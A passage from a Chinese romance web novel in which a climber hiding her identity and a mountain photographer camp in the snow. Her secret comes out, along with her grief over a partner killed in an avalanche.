此刻正值晌午,又是久违的晴天,紫外线像不要钱一样直击地表,又在绵延白雪上反射加倍,刺眼得紧。华松栩取下挂在包上的雪镜,用魔术头巾擦了擦,带上了。
徐汀云余光看见,从冲锋衣口袋掏出墨镜擦了擦,也带上了。
户外圈看似热闹,每次出行少则两三个人,多则洋洋洒洒七八九十个,但实际上徒步是一项很孤独的运动。每个人体能不同,负重情况不同,擅长行走的路况不同,在漫长的旅程中,只能走在自己的节奏里。所以能遇到一个习惯相似、配速相近的搭档是非常难的。
这会,华松栩旁边就有一个。
她不需要特地放慢脚步去等,也无需加快速度追赶,刚刚好。
绕过村子东边的小山坡,海拔下降300米后,步入了一片视野极其开阔的地带,冷杉组成的大面积纯林沿着绵延起落的山体,如油画般铺展开来。在纯净的冰雪世界中,针叶的暗绿和树干的浅褐是唯一的彩色,在沉寂的冬日挥洒蓬勃生机。
“嘘!”徐汀云忽然拉住了华松栩。
华松栩刚停下还没搞明白情况,就见他迅速开盖举相机,并把超长的镜头架在了她的肩上,“别动别动,千万别动。”
华松栩一脑门黑线,本能想甩掉他,但又想起方木说他被编辑催稿的样子,心软了一秒,遂憋屈忍耐。
快门声几乎是在耳边响起,一声一声接得特紧。拍着拍着,她被人揽住肩膀挪了个方向。
华松栩咬牙,“你真当我是三脚架呢?”
徐汀云压着嗓门说:“看你左前方,那棵长歪了的树。树底下有一只土拨鼠。”
华松栩顺着指引看去,还真看到一小小的黑影。就一会的功夫,小家伙探头、缩头、又探头,往前跑几步,探头、缩头、再探头,灵活得过分。
她看了一阵,疑惑:“这季节土拨鼠不冬眠吗?”
“冬眠的吧。”徐汀云咔咔还在拍,边拍边说,“反正冬天是第一次见。”
“那它是怎么回事?”
“不知道。”徐汀云终于拍满意了,松开她端着相机翻看,“可能是一只特立独行的土拨鼠,像你一样。”
华松栩指自己,幽幽看他,“我?土拨鼠?”
徐汀云紧急转移话题,把相机递过去,“看看,拍的如何?”
屏幕都要贴脸上了,华松栩想不看都不行。她随意扫了一眼,没想到就移不开了。
她不太懂摄影构图,但就觉得很舒服。长焦镜头下,土拨鼠头顶褐色的皮毛根根分明,日光下躯体的轮廓呈亮金色,奔跑中带起的雪花熠熠生辉。乌黑的眼睛恰好直视镜头,凭空生出一种猎食者的威严感。
徐汀云都不需要问,看她反应就知道她喜欢,呲着牙傻了,“你瞅瞅这随手一拍的水平,你真不来一套本摄影师特供专属写真?”
华松栩推开他的爪,“不必,留着你的炮筒打土拨鼠吧。可以走了吗?”
“走走走。”徐汀云把相机挂在右边肩带,追上来和她并肩,“你这人什么都好,就是性子急,干什么都急。”
“因为我快半截入土了,时间少当然急。”
“扑哧——”徐汀云笑了,“不到30就半截入土?”
华松栩说:“我有个朋友在K2滑坠身亡的时候,才25岁。推算一下,我可不是半截入土吗?”
K2,乔戈里峰,坐落于昆仑山脉中巴边界,8611米的世界第二峰,被称为世界最致命的高山。
徐汀云脚下有瞬间的停滞,不过很快就恢复如常,“是昨天生日那位吗?”
“不是,另一个。去世有三年多了。”
往前走了一会,徐汀云说:“从阿栩发布K2的攀登报告之后,我看了不少K2的攀登记录,自此下定决心,这辈子必须爬一次。金字塔型的山峰,真的很美。”
华松栩嗯了一声,“很美,也很致命。”
“你爬过吗?”
“爬过。”
说完,华松栩暗道不好。
果然,徐汀云驻足,狐疑,“登顶K2,应该在圈里很有名吧?为什么我从来没听说过您这号人物?”
华松栩不自然地拽了下羊毛帽,“因为我低调。”
徐汀云捏着下巴看她,“女性登山运动员这么少,再低调也不应该啊?”
华松栩这会真想扇自己的嘴,面上倒端起了架子,“因为你还没进圈。”
“我没进《旷野》总该进了吧?我编特欣赏户外女性,还专门做过女运动员的专题。难道是——”
华松栩拔腿就走,在没过脚踝的雪里走得那叫一个步履生风,嗖嗖就出去十几米。
在她身后,徐汀云拔腿就追,“难道——”
华松栩:……求求您闭嘴。
可惜腿长的人了不起,三两下追上,一个深呼吸后问:“难道你是不签约的自费大佬?家产过亿那种大佬?!”
华松栩在掉马和无痛变富婆中选择了后者,遂点头,“是的,我是。”
徐汀云瞠目结舌,华松栩则用眼神拿捏三分云淡风轻。
好一会,他憋出一句,“家产过亿也开牧马人?”
华松栩莫名膝盖中刀,“牧马人怎么了?我在海城还骑电驴呢。”
“我要家产过亿,我也骑电驴,剩下的钱都买装备。”徐汀云眼底涌现浓浓的羡慕,“一套bd的岩塞一千多,一捆beal的绳一千多,一个blueice的冰锥就要五百多……一亿能买十万套岩塞,十万捆——”
“停。”华松栩说,“攒点钱回京市买套房,这些就都不用想了。”
徐汀云无辜,“我在京市有房,不用买。”
“……当我
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没说。”
为了拍土拨鼠浪费了些时间,后半程两人不约而同加速,陡坡狠狠爬升700米,走了约莫11公里,终于在五点抵达目的地。这是一处不知名垭口,罗普峰等一众雪山于西侧依次排开,确实如徐汀云所说,是个观景的好地方。
没等华松栩动手,徐汀云已经寻了个有岩石凸起的地方掏出防潮垫铺好,“坐。”
华松栩蹙眉,“不扎营吗?”
这个季节日落金山结束约莫六点多,不到七点天就黑透了。
徐汀云展示了背包上的几个强力头灯,又从侧面抽出一个警用手电,“能回。之前来过一次,走快点五十分钟内赶到那片林子,之后的路平缓。”
华松栩扶额,开始检讨自己怎么连计划都不问就跟着某人来了,简直是职业生涯滑铁卢,“……你的之前是什么时候?下过雪吗?”
“……没积这么厚。”
“……带帐篷睡袋了吗?”
徐汀云乖巧点头,“为以防万一带了,借了方木的。”
——毕竟他自己的外帐不知跟风去哪里旅行了。
华松栩拍板,“扎营。”
“遵命。”
扎营选址是门学问。两人找了快背风地,一起把雪踏平踏瓷实后开始搭帐篷。雪地松软无法扎地钉,只能用登山杖,登山杖不够就用帐篷袋装雪捆绑后埋下。完成这一番建筑工程已经是半小时之后了。
两顶帐篷同向相隔一米五的距离,很近,很安全。
徐汀云摸摸鼻子,想起了件很重要的事情,“内个……咳,我想着今天回,所以没带多少吃的。”
彼时,华松栩正在掏她的炊具,头也不回道:“给钱,一顿一亿。”
徐汀云掏出手机,“那你等等,让我先打个电话把房卖了。”
“卖房就不用了,给我当代驾就行。”华松栩笑。
“代驾?什么代驾?”
“经过你同屋那位晓之以理动之以情,我决定大发慈悲捎你俩出山。”
徐汀云双眼一亮,双手合十,“多谢施主,贫僧必将带着我那不成器的兄弟尽心竭力为您服务。”
华松栩没忍住,笑出了声。
风裹挟冷意比阳光更早一步带来落日的讯号。
“快开始了。”
徐汀云架了个三脚架拍延时,自己手里端一个,又给华松栩塞了一个。
华松栩用眼神缓缓打出一个问号。
“胶片机,你随便拍着玩。”说完这一句,他开始蛇形游走找机位,没一会跑出去几十米。
华松栩喊:“你看着点脚下!”
“知道!”徐汀云抬手比了个OK。
日落时分,万里无云,当阳光以一个格外倾斜又刁钻的角度落在数十座雪山之上,洁白的画卷瞬间染上了璀璨的金黄。那是熊熊燃烧的终年积雪,是鬼斧神工的壮丽篇章。
华松栩看过许多场金山,甚至数次攀登时站在金山之上。但每次都是第一次,每一次也是最后一次。
她举起相机,生疏地按了几下快门。
在她身后,高山摄影师徐汀云在漫天金色最耀眼的瞬间,放弃了原定要拍摄的画面,将镜头对准了群山之间那抹纤瘦笔挺的身影。
13. 受了刺激
天色彻底暗下去时,两人正围着华松栩的小锅,你一勺我一勺吃煲仔饭——香到徐汀云失去理智口出狂言、尴尬到失去理智然后又失去理智在大风中丢掉帐篷的煲仔饭。
徐汀云忽然说:“若非亲眼所见,我实在无法相信用面粉糊墙的人能做出此等人间美味。”
回应他的是高高扬起、杀气不输匕首、在头灯映照下闪烁幽幽冷光的钛勺。他一躲,“双重否定是肯定,夸你呢昂!”
华松栩悻悻收手,把勺子丢锅盖上,“你收拾。”
“这就不吃了?”
“饱了。”
徐汀云眼睛一亮,端起锅风卷残云,那状态就差把锅一并吃了。
华松栩咂舌,“你就缺这一口吗?”
“你知道什么叫延迟满足吗?越延迟,越上瘾。”
“这词不是这样用的。人家是主动放弃诱惑,你是客观上的——吃不上。”说完,华松栩毫不客气地撂下烂摊子,钻进帐篷,拉链一拉,彻底和外界隔绝。
徐汀云对着她的背影小声哼哼,“之前没吃上现在也吃上了。”
一阵细细碎碎的声音后,“嗯,珍惜吧。最后一次了。”
小徐眼里的光灭了。
“最后一次?为什么是最后一次?明早再吃一次不行吗?”
华松栩把自己往睡袋里一塞,双手交叠于肚脐上方五厘米处,安详地闭上眼睛。
徐汀云抗议了好一阵没得到回应,卑微地完成收尾工作,钻到隔壁帐篷,也躺下了。
今夜无风,全世界都安静了下来。华松栩听着自己的心跳声,慢悠悠的数节拍。
“一、二、三——”
“咳,睡了吗?”
“……”才安静了三秒。
隔着两层帐篷,声音小了许多,有种学生时代宿舍里说悄悄话时用被子闷住头的感觉。
华松栩捏捏眉心,“有话就说。”
“现在才七点,能睡着吗?”
“你管我能不能睡着。”
“听声音很清醒,那聊聊呗?”
华松栩说:“有话就说。”
徐汀云轻笑了下,“你这性格,到底是天生的还是后天形成的?”
“你管我。”
“没,挺好的。”
华松栩轻嗤了一声,没应。
直到帐篷颤了颤,她倏然睁眼,发现外帐上有个狗爪印,“……你有毛病?”
徐汀云以一个扭曲的姿势探头伸手,又戳了戳她的帐篷,“我说真的,真挺好的。”
华松栩干巴巴地说:“哦。”
顿了一下,她补充:“你也是,如果话再少点。”
徐汀云扑哧一声笑了出来,笑了好一阵。
华松栩搞不懂他在笑什么,但却被那低哑男声和无孔不入的夜色一并占据了五感,指尖酥酥麻麻,像受了冷。于是她把双臂也塞进了睡袋,暖洋洋的。
在话多那位的主导下,两人有一搭没一搭,聊了两三个小时。
十点左右,隔壁帐篷亮了光,徐汀云说:“准备睡吧,我去上个厕所。”
华松栩迅速穿衣服带头灯钻出帐篷,徐汀云才走出去几步,听到动静回头看见她,震惊道:“你你出来干什么?”
华松栩跟了上来,“一起。”
徐汀云石化,“……啊?”
华松栩说:“那边是个陡坡,一个人危险。”
在户外露营,牵扯到水源干净与否,因此如厕区域和生活区域需要一定距离。他们选的营地是垭口背风面为数不多的空地,其他地方路况并不好。
“我又不瞎,一个人可以的!!!”
“户外哪有男女之分,你不用害羞。”
徐汀云脚下生根,“不是、这不是害羞不害羞的问题!是真的不需要!”
眼看某人头发都要竖起来,华松栩叹气,解释:“这路况不好,我在帐篷看不见你。你要头晕掉下去,我连你掉哪都找不见,这种情况必须双人行动。放心吧,我不会看的昂!”
在户外,每一条不成文规矩的背后都是血的教训。
华松栩刚进行那年,有两个小伙在川西登顶了座五千多米的雪山,下撤到一个平台的时候,其中一个去解决问题所以取掉了结组的绳索,另一个左等右等等不到,去找,也找不到,于是叫了救援。搜寻三天后,最终在垂直落差三百多米的峭壁下找到了尸体。
按说阿式攀登的运动员,还是登顶下撤,不太可能发生高反头晕站不稳的情况,但事情就这样发生了。
所以在这一点上,华松栩异常坚持。
五分钟后,徐汀云颤抖的手缓缓伸向裤腰带,失败缩回。再尝试,再次失败缩回。
他身后五米,华松栩双手抱臂,“你快了没?”
徐汀云物理意义上的,快哭了,“你真不能走远点吗?”
华松栩往后倒退了几步,“走了。”
徐汀云咬咬牙心一横,终于拿出了视死如归的精神。然后无事发生。
华松栩终于失去了耐心,“你能不能快点!还是需要我给你吹口哨?”
徐汀云:“……”
往回走的时候,小徐神情恍惚脚步虚浮,跟在华松栩身后一言不发,全身上下都散发出心死的气息。一到帐篷边,他飞身而入反手就拉上拉链,像缩进洞的土拨鼠。
华松栩哭笑不得,走过去戳帐篷,“哎,哎?”
里面静悄悄,连个响都没有。
眼看孩子受打击了,华松栩只得安慰,“别管男人女人都是人,多正常啊!”
依旧无人回应。
“徐汀云?”
“……”
小徐是真受刺激了。他整个人钻进睡袋里一动不动,处于精神崩溃外加躯体害羞到燃烧的混合感染阶段。作为一个坚决不进澡堂的北方人,他上次当着别人的面还是在幼儿园。
当着他哥的面,同性。
华松栩问:“你这样还怎么爬雪山?像K2这种攀登周期长、天天在悬崖峭壁上扎营的情况,吃喝拉撒都和队友一起,你怎么办?”
过了好一阵,蔫巴巴的男声传来,“没想过队里有女性的情况。”
华松栩屈膝蹲在帐篷入口,又戳了戳,“真没事,我
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遇到过比你尴尬一百倍以上的情况。”
“……我不信。”
“我爬K2的时候,有一个营地不到一百平,挤了二十多个帐篷。别说找没人的地方,就是在帐篷门口不小心打滑,都能直接滑到山脚下去。那么多人里,只有我一个女人。”剩下的无需多说,完全能够想象。
极限运动本身对女性就很不友好,别说生活起居,就连专业品牌的连体羽绒都是根据男性生理结构设计,某种程度上加剧了不便。
紧闭的帐篷从里缓缓拉开了。徐汀云探出一个因为静电炸毛的脑袋,坐在帐篷里头,眨巴眼睛看她。
华松栩蹲在帐篷外头,睨他,“这下开心了吧?”
徐汀云摇头,“没有。”
华松栩无奈,“我都用糗事安慰你了,还没有?”
徐汀云说:“不是。就……听了挺心疼的。”
华松栩干这行八年了,还是第一次遇到一个男孩这样真挚的眼神看着她,说心疼她。瞬间哑了,僵在原地不知作何反应。
此刻的华松栩长发披散,柔顺的发丝落在脸颊两侧,杏眸中写满了茫然无措。和白日比少了些凌厉,多了几分隐秘的柔软。
徐汀云看了好一会,又说:“谢谢你。”
华松栩回神,伸手拍了拍他毛茸茸的脑袋,“睡吧。”
“晚安。”徐汀云说,语气甜丝丝的。
一夜无梦。清晨吃完饭下山,两人又是在沉默中保持相同配速,一前一后走着,十二点出头就回到了客栈。
上了楼梯,徐汀云冲身后的华松栩礼貌摆手,“拜拜。”
华松栩也冲他摆手,“嗯。”
打完招呼,两人分别进了各自的房间。跟在后面的方木看看左边的门,又看了看右边的门,头上长出了许许多多的问号——毕竟俩门相距不到一米。
回屋以后,徐汀云保持高山摄影师的良好素养,迅速把相机连上电脑开始处理照片。他的摄影风格一向是重取景轻修图,重情绪传达轻表现手法。但今天他看哪都有瑕疵,这一片岩石想修,看金山想修,看天上盘旋的鹰也想修。
终于,他满意地点头。很完美。
恰到好处的景色,恰到好处的色调,恰到好处的构图,恰到好处的人像。
人像?
徐汀云呆若木鸡,手里的笔“啪嗒”一声砸在手绘屏上。
所以,他全身心投入修了半个多小时的图,竟然是一时冲动拍下的那一系列人像?
专业高山摄影师小徐沉默瞬息,推开手绘屏,合上笔记本电脑。
趴在床上看小说的方木头都不回,见怪不怪道:“怎么了?拍的又不行?”
徐汀云缓缓趴下,把头埋在臂弯,喃喃道:“完了,我完了……”
方木这会正看到男主和哥们二人其利断金热血沸腾,语气也随之热血沸腾,“别丧气!兄弟支持你!你可以的!”
“……我可以吗?”
“谁说你不可以!”
徐汀云颤颤巍巍地走到方木床边坐下,艰难道:“我喜欢上一个连名字都不知道的女孩,也可以吗?”
14. 穿脱马甲
徐汀云正襟危坐,双手放在膝盖上,姿态恭顺。
毫无温度的女声从听筒中无情传来,“挺好的,很迅速。你昨天中午说要拍雪后绝美风光,直击人心那种,这会就发过来了。”
一个漫长的喘息后,《旷野》大名鼎鼎的贺灵总编问:“原来你说的直击人心,就是一只瞪着镜头的土拨鼠?”
徐汀云:……
徐摄影师本着职业精神说:“咳,那个、我明天再去拍。”
贺编补充:“还有画面整体的风格,我严重怀疑你被人夺舍了。”
小徐能怎么办呢,“我重新拍。”
“不用了。”
高山摄影师这个行业听起来高大上,其实过得苦哈哈。天天钻林子喂虫子上山下海,拍出来的东西能不能卖出去那都难说。徐汀云这种和签约摄影师能好些,但和其他行业一样,收入和业绩成正比。
因此,他双手颤抖,“贺编你不能放弃我!我还能再拍一亿张!”
“不用拍了。”贺灵冷漠,“你那张直击人心的土拨鼠录了,刚好有个生态方面的专题。”
徐汀云这下把心放回肚子里,“谢谢贺编。”
“不必,挂了——”
“等等!”
“还有事?”
徐汀云问:“贺编,圈里的职业登山运动员你都知道吗?”
贺灵嗯了声,“差不多吧。”
“没签品牌的呢?”
“你想打听谁?”
徐汀云半敛着眸,眼底的笑意一闪而过。面前的笔记本屏幕上,是与背后那燃烧着的金顶相较都不落下风的女孩的侧颜。
他觉得自己病了。十人九不遇的景色都觉得不好看了,看日照金山幸运一整年的幸运也可以不要了。因为他已经非常、非常幸运了。
华松栩接到贺灵的电话时,正躺在床上搜徐汀云的作品。早年有西北的戈壁和魔鬼城,有太平洋海岛的日光,但从一年前开始,镜头转向了川滇藏高原。高海拔植物,动物,还有雪山。
平时吊儿郎当一男孩,摄影风格却非常稳,字面意义上的稳。看着就觉得脚落在了实处。
当看到来电显示,她愣了好一会才接起,“贺灵?”
贺灵一上来就问:“阿栩,你是不是在怀远村?”
华松栩和贺灵的渊源,得从三年前接受《旷野》的采访说起。彼时,《旷野》还叫《走向户外》,还用着最老土的排版,刊登最中规中矩的照片,采访各式各样的男人。
那会她和罗丰成功登顶幺妹峰,名声大噪,《走向户外》也伸出了橄榄枝。结果在现场,采访的男编辑把华松栩当空气,对她的回答乃至整个人都不屑一顾。
大家都见怪不怪,毕竟任谁看,罗丰才是攀登届的明日之星,这个长得漂亮的女运动员只是个吸引话题的花瓶,仅此而已。
只有当时还是个普通小编辑的贺灵站出来,大声说:“要这么问问题,采访一个人就够了。”
旁边有人拉她,小声提醒:“刘哥这也是为了话题度,上期销量不太行……”
贺灵说:“以你们这种态度,找一亿个女人当背景板照样卖不出去!他俩都是职业运动员,一起登顶,除了性别哪不一样?要我说阿栩作为这个行业里为数不多的女性,才更值得单采!”
后来,华松栩单人采访的责任编辑就是贺灵。
“你是不是去怀远村了?你什么时候去的?!”
华松栩合理推测了一番,扶额问:“难道,徐汀云是你手下的摄影师?”
贺灵答:“是。”
某人倒吸一口气凉气,脚趾甲已经抠穿地心了,“……你跟他说我是谁了?”
一想到徐汀云对“阿栩”盲目崇拜全身心维护的样子,再想想他用“阿栩”的名言回击自己的样子,华松栩替人尴尬的毛病犯了。双倍尴尬。
在贺灵惯常的、卖关子似的大喘气后,“徐汀云问圈里的登山运动员我是不是都认识,我问他打听谁,他说姓华——不过刚发出了华的三分之二音调,他又说算了没事。”
华松栩提到天灵盖的心脏砰得落回原位,长吁一口气。
“就这么紧张?”
华松栩咬牙,“马甲掉了再穿上的大起大落,你懂吗?”
贺灵笑了,“那确实不懂。”
出于很多因素考量,无论是户外账号还是采访她都只用阿栩这个名字,知道真名的少之又少,必得是关系亲近的人才行。
“我知道徐汀云在怀远村,猜到你也在。还好吗?”
想到徐汀云差点问出口又收回,华松栩其实是开心的。所以她说:“嗯,还好。”
贺灵这次联系她,依然是想采访。《旷野》1月刊有一个特别专题,目前有两个方向,正式祭奠罗丰并公开山难始末,或只是将罗普峰作为一座未登峰推至聚光灯下,以一种更隐晦的方式,去诉说这一段悲壮的登山史。
漫长的沉默中,华松栩还没回答,就被一阵急促的敲门声打断。于是,她说她需要考虑一下,挂了电话去开门。是徐汀云。
“国道通了,上次救的那哥们专程回来感谢咱俩,就在楼下。一起下去?”
徐汀云兴冲冲地说完,突然感觉不太对。眨眨眼一看,才意识到这位许是刚洗完澡不久,运动内衣套卫衣,拉链大敞。于是嗖得一下窜出去三米远,“我……先下去,你你你穿好衣服再来。”
华松栩:……
她低头看自己一眼,莫名其妙。可以外穿的背心式运动内衣,到底在大惊小怪些什么。不过逗小徐还是有意思的,她扭头去换衣服,唇边笑意许久未消。
等华松栩下楼,短短五分钟,徐汀云已经和那位勾肩搭背称兄道弟上了。
“曲哥,您就甭客气了!”
“哎,小徐!咱俩老乡,有缘!但该感谢还是要感谢,救命之恩涌泉相报你说是不是?”
“倒也不用涌泉。”徐汀云一指曲哥背包的胸袋,“这一袋牛肉干就够了,我有点饿。”
曲哥哈哈大笑,徐汀云顺利啃到了原本是人家路餐的牛肉干。
华松栩发现,他总有这样的本事,轻松化解掉人与人之间的尴尬。三言两语,四两拨千斤,看似不着调但却比谁都有分寸。
徐汀云啃着啃着看到她,眼睛
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一亮,挥手,“快来。”
华松栩一步一顿走下楼梯,面无表情地站定,在烧了炉子的温暖室内脸冷得像块冰。和徐汀云恰恰相反,她最不擅长应对这种情况。
眼前的男人不再像那夜失温时那么虚弱惨白,看着很结实,声音也浑厚,边迎上来边频频鞠躬,“您好您好,听小徐说当时情况危急,多亏了您有经验,才替我保住这条命。太感谢了,我都不知道该怎么感谢您!”
华松栩强行克制住后退的脚步,“举手之劳。”
“对您是举手之劳,对我就是救命之恩!我叫曲立强,您叫我小曲就行。”
说罢,曲立强又是不要钱一样的鞠躬,华松栩回鞠也不是,站着也不是,只得求助徐汀云。结果小徐站在一旁接收到她迫切的目光,也不动,就一个劲看着她笑。
“客气了,曲哥。”华松栩只得客客气气地说,“以后还是要注意安全。”
曲立强连连点头,“您说的是您说的是。我当时走穿越提前看了天气,完全没想到会下雪,恰好还走在没法扎营的路段。真的多亏了您二位,谢谢!”
眼看绕开的话题又回来,华松栩受不了了,悄悄向徐汀云侧后方躲了躲。
徐汀云余光瞄她,觉得她主动寻求自己帮助的样子特乖,心里喜滋滋的,嘴角也不受控制的上扬。
见他还不吭气,华松栩在没人能看到的地方,伸手戳了戳他的后腰。
“咳咳咳!”徐汀云握拳抵在唇边,“曲哥,咱俩老乡见老乡是缘,咱仨相逢也是缘。既然都是有缘人,心意咱也都懂,真别客气了昂!”
曲立强应了一声,搓搓手,又笑了笑,没再激烈表达感谢之情了。
徐汀云偏过头,挑了下右半边眉毛,邀功似的。
华松栩看在眼里,却装没看见,主动错开了视线。
两人之间暗流涌动,看似肩没碰肩手没拉手,但就有种旁人难以加入的排他感。曲立强也是过来人,乐了,看得津津有味。不过看着看着,他的表情逐渐疑惑起来。
“恕我冒昧。这位小姐,咱们之前是不是在哪见过?”
此话一出,华松栩蹙眉,细细将人又打量了一番,摇头,“应该没有,我没什么印象了。”
曲立强:“那可能是我认错了,不好意思。”
华松栩又摇摇头。
徐汀云直觉不对,但也说不上来,看他一身风尘仆仆,便提议一起去吃个饭,吃牦牛汤锅。曲立强自然没有异议。
于是徐汀云低头看她,声音也柔和了许多,“去吗?出山之前再吃一次?”
华松栩半垂着眸子,琢磨用什么理由拒绝比较好。
就在这时,曲立强灵光一闪,双手一拍,“您是丰哥的搭档吧!华松栩!咱俩在慕士塔格见过!”
华松栩脸色陡变,僵住了,眼神飘忽中撞进了一双同样满是震惊的黑眸。
那一瞬间,她知道徐汀云猜到了。徐汀云也知道她知道他猜到了。于是,她狼狈的垂眸,掩住此时此刻的无措和慌乱。
像是要把怀疑落到实处似的,曲立强说:“你是阿栩,丰哥之前老跟我说起你!”
15. 冰山一角
华松栩住的这间窗户朝南,正对罗普峰北壁。她坐在窗边的桌子上,也朝南,从午后到傍晚。
“实话实说,我这次走穿越线路,也是想看看丰哥,没想到出了意外。”
“当时我走的路段,睁着眼都难,晕晕乎乎没摔下来真是奇迹。在那种天气遇到你俩,更是奇迹。”
“可能冥冥之中,丰哥都看着呢。”
华松栩因为罗丰千里奔袭来到这里,救下了同样因为罗丰来走穿越线遇意外的曲立强。贺灵打电话来因为罗丰,徐汀云是贺灵手下的摄影师,来这多少也有这一原因。
在她以为全世界都遗忘了那一天的时候,有这么多人因为那一天而相聚。她似乎应该为丰哥开心,可是怎么都开心不起来。更何况,当初,是她强硬地封锁了丰哥遇难的消息。
华松栩点了根烟,就夹在指尖,身旁的烟灰缸里,烟灰落了厚厚一层。
“门没锁。”她说。
徐汀云进来时,看到的就是这样一副场景。女人穿着素日少见的毛茸茸毛衣和睡裤,坐在一米多高的桌上抱着膝,背影是那么娇小,连徐汀云斜落的影子都能把她完全拢在怀抱。
他在三步远的距离外缓缓站定,耳边回响着纷杂的话语,不同的声音逐渐融合,最终顺着血液流淌至四肢百骸。
方才华松栩仓皇离开,徐汀云一反素日的云淡风轻,抓住曲立强的手用力到青筋暴起,“什么意思?!你说去年山难去世的是丰哥?丰哥和阿栩是搭档,那、那阿栩——”
曲立强说:“是。1228山难遇害者两人,一个是丰哥,一个是向导,阿栩是唯一的幸存者。”
徐汀云茫然,喃喃道:“1228不是大雪崩吗?这种情况她、她怎么——”
“不知道。”曲立强眼睛红了,“我只知道,她一个人在山上生存了两天三夜。大家以为人都没了,快放弃搜救的时候,阿栩自己走出来的……”
“她到村里的时候,站都站不起来,被背进来的。”老板娘央金伸手指了指客栈门口,神情惋惜,“都准备往县医院送。她不去,喝了些糖水缓了不到一天,带着救援队又去找了。”
“嘉措也去帮忙了的,听他回来讲,次仁的尸体就是她找到的,还亲自送还给他的家人,主动给了许多钱赔偿。只是另一个小伙,哎……”
徐汀云无法想象,发生雪崩又失去队友的她,如何度过那两天三夜。听央金说,原本只是一日往返的行程,别说食物,可能睡袋帐篷都没带。在这样凛冽的冬天,她究竟如何生存下来。
那天和方木、小杜情侣二人吃饭,他中途跑出来找她,看到的也是这样的背影。独自一人,望着罗普峰的背影。那时她说的话,徐汀云现在终于懂了。
可他懂的太晚了。
华松栩没回头,“来找我要签名?”
徐汀云压下眼底的湿润,故作轻松道:“我要的话,你给还是不给?”
“不给。”华松栩说。
“那就不给。”徐汀云向她走进,直到被桌角挡住,“你的签名,当然随你心意。”
华松栩轻笑了一声,将一口未抽却即将燃尽的烟摁在烟灰缸里,火星忽闪了几下,灭了,“抱歉,烟味有些重。”
“没关系。”
徐汀云喉结滚动,把后半句话吞回肚子里。
他想说,怎么样都没关系。
华松栩把窗户开了个缝散味,挪到桌沿边,赤裸的双足吊在半空,和徐汀云的工装裤相隔不足十厘米。她低着头,发丝也随之低垂着,掩住小半张脸,“不是要签名的,那就是来问1228山难的。”
“是。”徐汀云说。
华松栩闭了闭眼,语气平平,“问吧。”
这个世界总是这样。当秘密被撕开一个口子,窥探者便蜂拥而至。
徐汀云屈膝蹲下,仰视着,抬手想拉她,却又硬生生停在了半空,最终收回搭在了膝盖上。他说:“我就问一个问题。”
在漫长如一个世纪的三秒钟后。
“当时你受伤了吗?疼吗?”
华松栩听到问题的瞬间先是一怔,旋即抬眸,恰好看到了他眼底闪烁的湿意,和干净到极致的疼惜。
好半天,她都没说话。一年前,大家安慰她说丰哥也是死得其所,让她不要太难过,会继续为她加油。一年后,大家说起丰哥都带着惋惜,也带着回忆里闪光的美好。但从来都没有人用这样的眼神看着她,问她当时有没有受伤,疼不疼。
这一刻,他的眼里似乎装着星辰大海,但细细一看,其实只装着她一个人。
在这样温柔至极的注视中,一滴温热从眼尾滑落,闪过一瞬的冷光,随后被无孔不入的夜色淹没。
徐汀云设想过无数次见到偶像的场景,或许是痛哭流涕表达崇拜之情,或许是故作镇静地要一个to签然后回家偷偷乐好久。唯独没想到在这一瞬间,他最想做的事情是跪在她身旁,吻去她眼角的泪。
他还是伸手了,伸手抓住她的袖口,撒娇似的晃了晃,“还说革命战友呢。就一个问题,回答我好不好?”
华松栩缓缓垂下眼皮,望着那只骨节分明的手,眼泪随之簌簌而下,“或许有吧,我……不记得了。”
其实她是受伤了的。从雪坡被冲下去一百多米,怎么可能毫发无伤。可是她不想说,就像她当初不对任何人说起那样。因为她只是个幸存者而已,她没有资格叫苦没有资格说痛。
她只是个幸运的幸存者,仅此而已。
徐汀云知道她在说谎,心底钝痛无声蔓延,面上却笑了下,“嗯,脑子腾出来记住我。”
华松栩泪痕都未干,直接被呛得咳嗽了起来,“咳咳咳——”
徐汀云起身,轻拍她瘦削的后背,“我可是革命战友,不值得记上一记?你可不能太薄情。”
华松栩艰难道:“放心。第一次见面送我泡椒凤爪的人,想忘记都难。”
说罢,她用手背蹭了蹭脸颊,将长发
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拢在耳后,想从桌子上下来,却被人攥住了手肘。那人离她好近,近得能嗅到他身上的气息。
那是冷空气中树木的味道,很干净,很安心。
徐汀云即刻松了手,四下张望一番,终于看到了床角边东倒西歪的鞋子。但他没去取,甚至隐密的庆幸鞋子离桌子有一定距离。
华松栩这会有些尴尬,她不太习惯在别人面前哭,遑论是个男人,此刻只想竭力掩盖方才的失态。却听那低沉磁性的声音从头顶传来,“我过来,主要是想给你看个东西。”
华松栩始终低着头,“看什么?”
徐汀云眯眼盯着那正对自己的头顶半晌,一手撑在她身侧的桌沿,微微躬身,停在恰好能看到她素白的脸的高度,也恰好和她平视,“我这么做,不是为了探究任何事情,也不是为了勾起你的回忆。”
华松栩蹙眉,有些茫然的眨了眨眼,看到了台灯微弱的光源在徐汀云高挺的眉骨下投落一片暗影。
男人将手机举至她面前。
手机屏幕上,是高清镜头下的罗普峰,但是她从未见过的角度。不同于北壁的尖锐锋利,这一面是一纵冰岩混合的沟壑依次排开,积雪借助地貌勾勒出雪山飘逸的裙摆,多了几分绰约的婉转,在夕阳映照下流光溢彩,美得动人心魄。
“贺编叫我去拍北壁的。我拍了,但不满意。就花了七天转山,终于在第七天日落时拍到了罗普峰南壁。”
华松栩不言,只是盯着那耀眼的顶峰,那曾经或许能触及的终点,只是至今不会再有答案。
“本来是这期杂志的封面,但我刚打电话给贺编撤稿了。”徐汀云笑了下,“这张的灵感,就是想献给去年挑战北壁的登山者。我敬仰他们,所以想让他们看看这座山峰的另一面。”
“照片的名字是《炽热》,送你。”
屏幕不知何时暗了下去,华松栩看到了泪流满面的自己。她别开脸,想要冷静,却再也克制不住地啜泣。
这一秒,她又回到了一年前的夜晚,独自缩在唯一避风的岩石夹缝里失声痛哭。那是晚上七点零三分,山难后的三小时。而三小时,是雪崩后的最后生存时间。她在心里,默默为丰哥和向导宣告了死亡。
她说:“谢谢,丰哥一定会喜欢的。”
徐汀云心里随着她的哭腔一起,淅淅沥沥地下着雨,“我做的长寿面丰哥喜欢,拍的照片更没理由不喜欢。”
华松栩似乎笑了下,随之而来是更加汹涌的泪水。她哭了多久,徐汀云就在她旁边陪了多久。
直到她逐渐平复,徐汀云抽过纸巾递去,“有没有听过亡人海的传说?”
华松栩摇头。
“在藏北,冰川林立之间有一人迹罕至的高山海子,只要晚上去那里,就能看到逝去的故人,所以叫亡人海。”
华松栩忽然被他拉住了手腕,有些局促不安,“你信这个?”
